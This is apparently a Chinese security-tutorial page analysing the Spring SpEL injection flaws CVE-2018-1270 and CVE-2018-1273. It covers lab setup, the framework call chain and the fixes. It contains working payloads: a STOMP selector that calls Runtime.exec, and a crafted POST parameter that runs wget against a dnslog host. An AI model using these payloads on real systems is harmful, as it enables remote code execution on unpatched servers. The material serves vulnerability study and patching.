[TOC]
## SpEL介绍
* Spring表达式语言(简称 SpEL,全称Spring Expression Language)**是一种功能强大的表达式语言,支持在运行时查询和操作对象图**。它语法类似于OGNL,MVEL和JBoss EL,在方法调用和基本的字符串模板提供了极大地便利,也开发减轻了Java代码量。另外 , SpEL是Spring产品组合中表达评估的基础,但它并不直接与Spring绑定,可以独立使用。
* 基本用法:
SpEL调用流程 : 1.新建解析器 2.解析表达式 3.注册变量(可省,在取值之前注册) 4.取值
* **示例1:不注册新变量的用法**
```
ExpressionParser parser = new SpelExpressionParser();//创建解析器
Expression exp = parser.parseExpression("'Hello World'.concat('!')");//解析表达式
System.out.println( exp.getValue() );//取值,Hello World!
```
* **示例2:自定义注册加载变量的用法**
```
public class Spel {
public String name = "何止";
public static void main(String[] args) {
Spel user = new Spel();
StandardEvaluationContext context=new StandardEvaluationContext();
context.setVariable("user",user);//通过StandardEvaluationContext注册自定义变量
SpelExpressionParser parser = new SpelExpressionParser();//创建解析器
Expression expression = parser.parseExpression("#user.name");//解析表达式
System.out.println( expression.getValue(context).toString() );//取值,输出何止
}
}
```
* **除了expression.getValue之外,expression.setValue也是可以出发表达式执行的**
## CVE-2018-1270
### 满足版本
* Spring Framework 5.0 to 5.0.4
* Spring Framework 4.3 to 4.3.14
* 更老版本
### 环境搭建
下载带有漏洞的版本
```
git clone https://github.com/spring-guides/gs-messaging-stomp-websocket
cd ./gs-messaging-stomp-websocket
git checkout 6958af0b02bf05282673826b73cd7a85e84c12d3
```
complete文件夹下是一个完整的SpringBoot项目,使用idea打开,修改src/main/resources/static/app.js中的connect函数
```
function connect() {
var header = {"selector":"T(java.lang.Runtime).getRuntime().exec('open /System/Applications/Calculator.app')"};
var socket = new SockJS('/gs-guide-websocket');
stompClient = Stomp.over(socket);
stompClient.connect({}, function (frame) {
setConnected(true);
console.log('Connected: ' + frame);
stompClient.subscribe('/topic/greetings', function (greeting) {
showGreeting(JSON.parse(greeting.body).content);
},header);
});
}
```
增加了一个header头部,其中指定了selector,其值即payload
### 运行
使用idea运行项目,然后打开网页,通过如下步骤触发:
1、点击“Connect”按钮
2、随便输入一些什么,点击“Send”发送,触发
* 这是后有人会说了,我都能修改它源码了,还要什么命令执行,其实不是的,**app.js是返回给用户使用的,用户可以随意修改,比如我们通过浏览器修改app.js如下**

然后依然可以触发

### 分析
* 点击Connect按钮时,会通过下面函数添加恶意头
```
//org.springframework.messaging.simp.broker.DefaultSubscriptionRegistry#addSubscriptionInternal
protected void addSubscriptionInternal(String sessionId, String subsId, String destination, Message<?> message) {
Expression expression = null;
MessageHeaders headers = message.getHeaders();
String selector = SimpMessageHeaderAccessor.getFirstNativeHeader(this.getSelectorHeaderName(), headers);
if (selector != null) {
try {
expression = this.expressionParser.parseExpression(selector);
this.selectorHeaderInUse = true;
if (this.logger.isTraceEnabled()) {
this.logger.trace("Subscription selector: [" + selector + "]");
}
} catch (Throwable var9) {
if (this.logger.isDebugEnabled()) {
this.logger.debug("Failed to parse selector: " + selector, var9);
}
}
}
this.subscriptionRegistry.addSubscription(sessionId, subsId, destination, expression);
this.destinationCache.updateAfterNewSubscription(destination, sessionId, subsId);
}
```
* 然后我们点击send按钮,它会被sendMessageToSubscribers函数捕获,其中message保存了此次连接/会话的相关信息
```
//org.springframework.messaging.simp.broker.SimpleBrokerMessageHandler#sendMessageToSubscribers
protected void sendMessageToSubscribers(@Nullable String destination, Message<?> message) {
MultiValueMap<String, String> subscriptions = this.subscriptionRegistry.findSubscriptions(message);
if (!subscriptions.isEmpty() && this.logger.isDebugEnabled()) {
this.logger.debug("Broadcasting to " + subscriptions.size() + " sessions.");
}
...
```
* 跟进findSubscriptions函数,做了一些关于headers的处理
```
public final MultiValueMap<String, String> findSubscriptions(Message<?> message) {
MessageHeaders headers = message.getHeaders();
SimpMessageType type = SimpMessageHeaderAccessor.getMessageType(headers);
if (!SimpMessageType.MESSAGE.equals(type)) {
throw new IllegalArgumentException("Unexpected message type: " + type);
} else {
String destination = SimpMessageHeaderAccessor.getDestination(headers);
if (destination == null) {
if (this.logger.isErrorEnabled()) {
this.logger.error("No destination in " + message);
}
return EMPTY_MAP;
} else {
return this.findSubscriptionsInternal(destination, message);
}
}
}
```
* 跟进findSubscriptionsInternal函数
```
protected MultiValueMap<String, String> findSubscriptionsInternal(String destination, Message<?> message) {
MultiValueMap<String, String> result = this.destinationCache.getSubscriptions(destination, message);
return this.filterSubscriptions(result, message);
}
```
* 跟进filterSubscriptions函数,也就是出发漏洞的函数
```
private MultiValueMap<String, String> filterSubscriptions(MultiValueMap<String, String> allMatches, Message<?> message) {
if (!this.selectorHeaderInUse) {
return allMatches;
} else {
EvaluationContext context = null;
MultiValueMap<String, String> result = new LinkedMultiValueMap(allMatches.size());
Iterator var5 = allMatches.keySet().iterator();
label59:
while(var5.hasNext()) {
String sessionId = (String)var5.next();
Iterator var7 = ((List)allMatches.get(sessionId)).iterator();
while(true) {
while(true) {
String subId;
DefaultSubscriptionRegistry.Subscription sub;
do {
DefaultSubscriptionRegistry.SessionSubscriptionInfo info;
do {
if (!var7.hasNext()) {
continue label59;
}
subId = (String)var7.next();
info = this.subscriptionRegistry.getSubscriptions(sessionId);
} while(info == null);
sub = info.getSubscription(subId);
} while(sub == null);
Expression expression = sub.getSelectorExpression();
if (expression == null) {
result.add(sessionId, subId);
} else {
if (context == null) {
context = new StandardEvaluationContext(message);
context.getPropertyAccessors().add(new DefaultSubscriptionRegistry.SimpMessageHeaderPropertyAccessor());
}
try {
if (Boolean.TRUE.equals(expression.getValue(context, Boolean.class))) {
result.add(sessionId, subId);
}
...
```
* 函数中,通过info.getSubscription(subId);将恶意payload取出来,然后在expression.getValue(context, Boolean.class)中触发
### 修复
* 将之前的StandardEvaluationContext替换成了SimpleEvaluationContext
* SimpleEvaluationContext对于权限的限制更为严格,能够进行的操作更少。只支持一些简单的Map结构
```
...
private static final EvaluationContext messageEvalContext = SimpleEvaluationContext.forPropertyAccessors(new PropertyAccessor[]{new DefaultSubscriptionRegistry.SimpMessageHeaderPropertyAccessor()}).build();
...
Boolean result = (Boolean)expression.getValue(messageEvalContext, message, Boolean.class);
```
## CVE-2018-1273
### 版本
```
Spring Data Commons 1.13 to 1.13.10
Spring Data Commons 2.0 to 2.0.5
```
### 搭建环境
```
git clone https://github.com/vulhub/vulhub.git
cd ./vulhub/spring/CVE-2018-1273
docker-compose up -d
```
### 运行
* 打开http://127.0.0.1:8080/users,随便写点什么,发送

* 抓包,发送payload
```
POST http://127.0.0.1:8080/users?page=&size=5 HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 134
Origin: http://127.0.0.1:8080
Connection: close
Referer: http://127.0.0.1:8080/users
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("wget http://z0w11n.dnslog.cn")]=&password=&repeatedPassword=
```

### 分析
* 漏洞触发点
```
public void setPropertyValue(String propertyName, @Nullable Object value) throws BeansException {
if (!this.isWritableProperty(propertyName)) {
throw new NotWritablePropertyException(this.type, propertyName);
} else {
StandardEvaluationContext context = new StandardEvaluationContext();
context.addPropertyAccessor(new MapDataBinder.MapPropertyAccessor.PropertyTraversingMapAccessor(this.type, this.conversionService));
context.setTypeConverter(new StandardTypeConverter(this.conversionService));
context.setTypeLocator((typeName) -> {
throw new SpelEvaluationException(SpelMessage.TYPE_NOT_FOUND, new Object[]{typeName});
});
context.setRootObject(this.map);
Expression expression = PARSER.parseExpression(propertyName);
PropertyPath leafProperty = this.getPropertyPath(propertyName).getLeafProperty();
TypeInformation<?> owningType = leafProperty.getOwningType();
TypeInformation<?> propertyType = leafProperty.getTypeInformation();
propertyType = propertyName.endsWith("]") ? propertyType.getActualType() : propertyType;
if (propertyType != null && this.conversionRequired(value, propertyType.getType())) {
PropertyDescriptor descriptor = BeanUtils.getPropertyDescriptor(owningType.getType(), leafProperty.getSegment());
if (descriptor == null) {
throw new IllegalStateException(String.format("Couldn't find PropertyDescriptor for %s on %s!", leafProperty.getSegment(), owningType.getType()));
}
MethodParameter methodParameter = new MethodParameter(descriptor.getReadMethod(), -1);
TypeDescriptor typeDescriptor = TypeDescriptor.nested(methodParameter, 0);
if (typeDescriptor == null) {
throw new IllegalStateException(String.format("Couldn't obtain type descriptor for method parameter %s!", methodParameter));
}
value = this.conversionService.convert(value, TypeDescriptor.forObject(value), typeDescriptor);
}
try {
expression.setValue(context, value);
} catch (SpelEvaluationException var11) {
throw new NotWritablePropertyException(this.type, propertyName, "Could not write property!", var11);
}
}
}
```
为什么会跑到这呢,先要了解一下HandlerMethod类,HandlerMethod及子类主要用于封装方法调用相关信息,子类还提供调用,参数准备和返回值处理的职责。
* HandlerMethod 封装方法定义相关的信息,如类,方法,参数等.
* 使用场景:HandlerMapping时会使用
* InvocableHandlerMethod 添加参数准备,方法调用功能
* 使用场景:执行使用@ModelAttribute注解会使用
* ServletInvocableHandlerMethod 添加返回值处理职责,ResponseStatus处理
使用场景:执行http相关方法会使用,比如调用处理执行
从路由入口可以知道,users使用了ModelAttribute注解
```
@RequestMapping({"/users"})
class UserController {
private final UserManagement userManagement;
@ModelAttribute("users")
public Page<User> users(@PageableDefault(size = 5) Pageable pageable) {
return this.userManagement.findAll(pageable);
}
@RequestMapping(
method = {RequestMethod.POST}
)
public Object register(UserController.UserForm userForm, BindingResult binding, Model model) {
userForm.validate(binding, this.userManagement);
if (binding.hasErrors()) {
return "users";
} else {
this.userManagement.register(new Username(userForm.getUsername()), Password.raw(userForm.getPassword()));
RedirectView redirectView = new RedirectView("redirect:/users");
redirectView.setPropagateQueryParams(true);
return redirectView;
}
}
```
* 当访问上面路由的时候触发了下面org.springframework.web.method.support.InvocableHandlerMethod#getMethodArgumentValues
```
private Object[] getMethodArgumentValues(NativeWebRequest request, @Nullable ModelAndViewContainer mavContainer, Object... providedArgs) throws Exception {
MethodParameter[] parameters = this.getMethodParameters();
Object[] args = new Object[parameters.length];
for(int i = 0; i < parameters.length; ++i) {
MethodParameter parameter = parameters[i];
parameter.initParameterNameDiscovery(this.parameterNameDiscoverer);
args[i] = this.resolveProvidedArgument(parameter, providedArgs);
if (args[i] == null) {
if (this.argumentResolvers.supportsParameter(parameter)) {
try {
args[i] = this.argumentResolvers.resolveArgument(parameter, mavContainer, request, this.dataBinderFactory);
} catch (Exception var9) {
if (this.logger.isDebugEnabled()) {
this.logger.debug(this.getArgumentResolutionErrorMessage("Failed to resolve", i), var9);
}
throw var9;
}
} else if (args[i] == null) {
throw new IllegalStateException("Could not resolve method parameter at index " + parameter.getParameterIndex() + " in " + parameter.getExecutable().toGenericString() + ": " + this.getArgumentResolutionErrorMessage("No suitable resolver for", i));
}
}
}
return args;
}
```
* 跟进org.springframework.web.method.support.HandlerMethodArgumentResolverComposite#resolveArgument
```
public Object resolveArgument(MethodParameter parameter, @Nullable ModelAndViewContainer mavContainer, NativeWebRequest webRequest, @Nullable WebDataBinderFactory binderFactory) throws Exception {
HandlerMethodArgumentResolver resolver = this.getArgumentResolver(parameter);
if (resolver == null) {
throw new IllegalArgumentException("Unknown parameter type [" + parameter.getParameterType().getName() + "]");
} else {
return resolver.resolveArgument(parameter, mavContainer, webRequest, binderFactory);
}
}
```
* 然后进入org.springframework.web.method.annotation.ModelAttributeMethodProcessor#resolveArgument
```
public final Object resolveArgument(MethodParameter parameter, @Nullable ModelAndViewContainer mavContainer, NativeWebRequest webRequest, @Nullable WebDataBinderFactory binderFactory) throws Exception {
Assert.state(mavContainer != null, "ModelAttributeMethodProcessor requires ModelAndViewContainer");
Assert.state(binderFactory != null, "ModelAttributeMethodProcessor requires WebDataBinderFactory");
String name = ModelFactory.getNameForParameter(parameter);
ModelAttribute ann = (ModelAttribute)parameter.getParameterAnnotation(ModelAttribute.class);
if (ann != null) {
mavContainer.setBinding(name, ann.binding());
}
Object attribute = null;
BindingResult bindingResult = null;
if (mavContainer.containsAttribute(name)) {
attribute = mavContainer.getModel().get(name);
} else {
try {
attribute = this.createAttribute(name, parameter, binderFactory, webRequest);
} catch (BindException var10) {
if (this.isBindExceptionRequired(parameter)) {
throw var10;
}
...
```
* 跟进org.springframework.data.web.ProxyingHandlerMethodArgumentResolver#createAttribute
```
protected Object createAttribute(String attributeName, MethodParameter parameter, WebDataBinderFactory binderFactory, NativeWebRequest request) throws Exception {
MapDataBinder binder = new MapDataBinder(parameter.getParameterType(), (ConversionService)this.conversionService.getObject());
binder.bind(new MutablePropertyValues(request.getParameterMap()));
return this.proxyFactory.createProjection(parameter.getParameterType(), binder.getTarget());
}
```
* 跟进org.springframework.validation.DataBinder#bind和dobind
```
public void bind(PropertyValues pvs) {
MutablePropertyValues mpvs = pvs instanceof MutablePropertyValues ? (MutablePropertyValues)pvs : new MutablePropertyValues(pvs);
this.doBind(mpvs);
}
protected void doBind(MutablePropertyValues mpvs) {
this.checkAllowedFields(mpvs);
this.checkRequiredFields(mpvs);
this.applyPropertyValues(mpvs);
}
```
* 跟进org.springframework.validation.DataBinder#applyPropertyValues
```
protected void applyPropertyValues(MutablePropertyValues mpvs) {
try {
this.getPropertyAccessor().setPropertyValues(mpvs, this.isIgnoreUnknownFields(), this.isIgnoreInvalidFields());
} catch (PropertyBatchUpdateException var7) {
PropertyAccessException[] var3 = var7.getPropertyAccessExceptions();
int var4 = var3.length;
for(int var5 = 0; var5 < var4; ++var5) {
PropertyAccessException pae = var3[var5];
this.getBindingErrorProcessor().processPropertyAccessException(pae, this.getInternalBindingResult());
}
}
}
```
* 跟进org.springframework.beans.AbstractPropertyAccessor#setPropertyValues
```
public void setPropertyValues(PropertyValues pvs, boolean ignoreUnknown, boolean ignoreInvalid) throws BeansException {
List<PropertyAccessException> propertyAccessExceptions = null;
List<PropertyValue> propertyValues = pvs instanceof MutablePropertyValues ? ((MutablePropertyValues)pvs).getPropertyValueList() : Arrays.asList(pvs.getPropertyValues());
Iterator var6 = propertyValues.iterator();
while(var6.hasNext()) {
PropertyValue pv = (PropertyValue)var6.next();
try {
this.setPropertyValue(pv);
} catch (NotWritablePropertyException var9) {
if (!ignoreUnknown) {
throw var9;
}
...
```
* 跟进org.springframework.beans.AbstractPropertyAccessor#setPropertyValue(org.springframework.beans.PropertyValue)
```
public void setPropertyValue(PropertyValue pv) throws BeansException {
this.setPropertyValue(pv.getName(), pv.getValue());
}
```
* 最后就进入了前文提到的漏洞触发函数org.springframework.data.web.MapDataBinder.MapPropertyAccessor#setPropertyValue
### 修复
跟第一个漏洞一样,将StandardEvaluationContext替换成了SimpleEvaluationContext
- 基础学习
- HTML基础
- HTTP协议原理
- HTTP代理
- 一句话木马
- HTML
- 计算机硬件
- JS脚本学习
- Ajax
- jQuery
- 栈溢出原理
- PHP基础
- php基础
- PHP数组
- PHP函数
- PHP算法
- PHP文件操作
- PHP表单处理
- PHP会话技术
- PHP类和对象
- PHP类继承
- 序列化和反序列化
- PHP小马
- PHP正则表达式
- PHP信息采集
- PDO预处理
- MySQL
- MySQL简介
- MySQL基础
- MySQL常见函数
- MySQL查询方式
- MySQL内置函数
- PHP操作MySQL
- 实战项目
- kail学习
- 基础命令
- 常见目录
- 物理设备规则
- 文件类型
- 文件权限
- shell介绍
- 文件查看命令
- kail搜索命令
- 压缩与解压缩
- 系统命令
- 系统状态检测
- 用户与权限管理
- 重定向管道符
- vim编辑器
- 实训-将做好的网站上传到服务器
- 网络技术
- OSI参考模型
- TCP/IP协议
- 物理层
- 数据链路层
- ARP协议
- 网络层
- IP地址分类
- 传输层
- 三次握手四次挥手
- CA证书
- HTTP报文结构
- 常用端口
- top10漏洞学习
- WEB十大漏洞
- 工具学习
- 插件学习
- Burp Suite工具
- Webshell管理工具
- Goodle搜索语法
- Fofa搜索语法
- shodan搜索语法
- 搜索引擎原理
- 漏洞扫描
- 弱口令爆破学习
- 绕过前端验证进行爆破
- 绕过后端验证码
- 前端Token验证绕过
- 常用爆破工具
- kydra(九头蛇)
- 常见的爆破协议
- 无线渗透基础
- SqlServer注入
- SqlServer简介
- 函数介绍
- SqlServer联合注入流程
- SqlServer报错注入
- SqlServer执行系统命令
- SqlServer备份写入shell
- SqlServer OpenRowSet 转发利用
- SqlServer延时注入
- Oracle注入
- Oracle+JSP联合注入
- Oracle+JSP的utl_http.request反弹注入
- Oracle报错注入
- Oracle布尔盲注
- Oracle延时注入
- SQL注入攻击
- 常用函数及命令
- SQL注入原理
- SQL注入基础
- SQL注入类型
- SQL联合报错注入
- 常见的注入方式
- 联合注入的流程
- 如何判断闭合方式和注释
- 报错注入常用的函数
- MySQL使用手册
- SQL注入floor函数报错原理
- SQL注入xpath函数报错原理
- 其它报错类型
- 头部信息注入
- SQL注入盲注
- SQL盲注类型
- 布尔注入常用函数
- 布尔注入例子
- 时间盲注常用函数
- 时间盲注例子
- 其它类型注入
- 万能密码原理
- 堆叠注入
- JSON注入
- 二次注入
- 二次编码注入
- 宽字节注入
- DNSlog注入
- getshell
- 绕过方法
- 常见的绕过方法
- 大小写绕过
- 注释绕过
- 空格绕过
- 垃圾数据绕过
- 更换提交方式绕过
- 双写绕过
- HTTP参数污染绕过
- 等价函数绕过
- 绕过WAF
- 扫描绕过
- 漏洞发现
- 权限控制
- 绕过safedog
- 绕过云锁
- Sqlmap工具
- Sqlmap目录
- Sqlmap流程及支持方法
- Sqlmap常用语法
- 常用Sql语句
- MySQL提权方法
- 文件包含漏洞
- 文件包含漏洞原理
- 文件包含常用函数
- PHP的伪协议
- 常用方法
- 文件包含绕过
- XXE漏洞
- 什么是XML
- 什么是DTD
- XXE漏洞原理
- XXE漏洞利用
- 文件上传漏洞
- 文件上传漏洞的原理
- 常见的木马植入方式
- 木马变形
- 图片马
- 文件上传的校验流程
- 靶场笔记
- 搜索文件上传语法
- 解析漏洞
- 常用的绕过方法
- 编辑器漏洞
- 上传漏洞分类
- 常见的绕狗方式
- XSS漏洞
- XSS漏洞原理
- shell箱子反杀
- HTTPOnly
- XSS绕过
- 常见函数
- CSRF漏洞
- CSRF漏洞原理
- CSRF利用
- 探测是否存在CSRF
- SSRF漏洞
- SSRF漏洞原理
- SSRF危险函数
- SSRF绕过方法
- SSRF用一句话木马
- RCE远程代码/命令执行
- 什么是RCE
- 远程代码执行
- 远程命令执行
- 文件下载漏洞
- 反序列化漏洞
- PHP反序列化漏洞原理
- PHP常用的函数
- PHP例子
- 钓鱼攻击
- 邮件钓鱼的协议
- CORS漏洞
- 未授权访问漏洞
- 伪随机验证码数漏洞
- JSON劫持漏洞
- XPath注入攻击
- Python基础学习
- Python基础
- Python简介
- Python语法基础
- Python模块
- Python函数
- Python运算符
- 程序流程结构
- Python数据结构
- Python字符串
- Python算法
- Python多线程
- 概念
- 线程常用函数
- 线程开启步骤
- Python网络编程
- 网络编程原理
- socket()函数
- 网络编程思路
- PHP代码审计
- 审计思路步骤
- 常用工具
- 配置文件
- 危险函数及特殊函数
- 危险函数-文件操作函数
- 危险函数-其他函数
- PHP代码审计-命令注入
- PHP代码审计-文件包含
- PHP代码审计-任意文件读取
- 内网渗透
- 攻防模型
- 网络框架
- 内网基础概念
- 内网域内信息收集
- 内网本机信息收集
- 简历通讯隧道简介
- 隧道-端口转发
- 隧道-反弹shell
- 隧道-代理
- Metasploit代理
- 隧道-隐蔽隧道
- NAT内网穿透
- 内网渗透大纲
- 内网不能出网要怎么办
- 反弹shell 的方法
- 权限提升
- Windows提权
- webshell权限提升思路
- 本地提权方法
- 系统权限介绍
- 查找补丁方法
- MSF漏洞检测利用
- 可信任服务路径漏洞
- MSL文件提权
- 绕过UAC提权
- 令牌窃取
- zend提权
- 数据库提权
- Mssql弱口令提权
- UDF提权
- 开机启动项提权
- MOF提权
- 数据库提权步骤
- Linux提权
- 脏牛提权
- Ubuntu内核提权
- sudo溢出提权
- GNU C Library动态链接库$ORIGIN溢出提权
- 权限维持
- 隐藏克隆账户
- Shift后门
- Shift映像劫持后门
- 启动项后门
- 计划任务后门
- Linux密码获取与破解
- MSF后门
- 常见的后门技术
- 伪造票据
- 横向移动
- 横向移动介绍
- IPC连接
- 密码和哈希
- PTH-哈希传递
- 票据传递
- Kerberos协议域认证领域
- 伪造黄金票据
- 伪造白银票据
- 痕迹清理
- Windows日志
- Linux日志
- Web日志
- 应急响应
- 应急响应概述
- 安全产品介绍
- 入侵排查
- 入侵排查分类
- 基本信息排查
- 用户信息排查
- 启动项排查
- 计划任务排查
- 系统进程排查
- 服务排查
- 文件痕迹排查
- 日志分析排查(Windows)
- 日志分析排查(Linux)
- 日志分析排查(其它日志)
- 内存分析排查
- 流量分析排查
- 威胁情报排查
- 相关工具
- 应急常用工具
- 多引擎在线病毒扫描
- 病毒查杀软件
- 病毒清除工具
- 勒索病毒搜索引擎
- Webshell检测工具
- 在线沙箱
- 安全分析工具
- 应急响应-常见漏洞
- 勒索病毒
- 勒索病毒简介
- 勒索病毒-攻击步骤
- 勒索病毒-事件处置
- SSH爆破
- SSH简介
- SSH爆破-攻击步骤
- SSH爆破-事件排查
- SSH爆破-溯源分析
- SSH爆破-事件处置
- 挖矿木马
- 挖矿木马简介
- 挖矿木马-攻击步骤
- 挖矿木马-事件处理
- 挖矿病毒-事件抑制
- Webshell后门
- Webshell简介
- 事件处置
- 网页篡改
- 网页篡改简介
- 网页篡改-攻击步骤
- 网页篡改-事件处置
- DDOS攻击
- DDOS攻击简介
- DDOS攻击分类
- DDOS攻击工具
- DDOS-模拟攻击
- DDOS-事件处置
- 主机入侵-事件处置
- 睿眼沙箱系统
- 睿眼攻击溯源系统
- Webshell应急
- 异常外连
- JAVA相关
- JAVA框架介绍
- JAVA框架判断
- JAVA漏洞目录
- 常规漏洞
- JAVA-SQL注入
- JAVA-目录遍历
- JAVA-不安全遍历
- JAVA-逻辑越权
- 身份验证
- JWT令牌
- JWT简介
- JWT伪造攻击
- JWT密匙爆破
- JAVA反序列化
- T3协议
- JAVA反序列化原理
- JAVA代码审计
- fastjson利用
- 面试问题
- Log4j2
- log4j2原理
- log4g2攻击过程
- log4j2绕过方法
- CSRF和SSRF的区别
- 给你一个网站如何渗透
- 注射式攻击简介
- 浅析HTTPS中间人攻击与证书校验
- 漏洞信息
- PTT PTK的区别
- Kerberos协议
- 中间件常见漏洞
- 安全基线
- spring漏洞
- 渗透测试
- 渗透测试流程
- 信息收集
- 信息收集网站
- 渗透测试相关工具
- 溯源反击
- IP溯源
- 身份ID溯源
- 流量分析
- HTTP包分析
- SMB协议分析
- 冰蝎和蚁剑的流量特征
- Godzilla和冰蝎 免杀马方式
- fastjson流量特征
- phpstudy流量特征
- shrio流量特征
- struts2-045流量特征
- ThinkPHP流量特征
- Tomcat流量特征
- weblogic流量特征
- web目录扫描流量特征
- 钓鱼邮件分析
- APP渗透
- 获取数据
- 抓包设置
- APP漏洞扫描
- API接口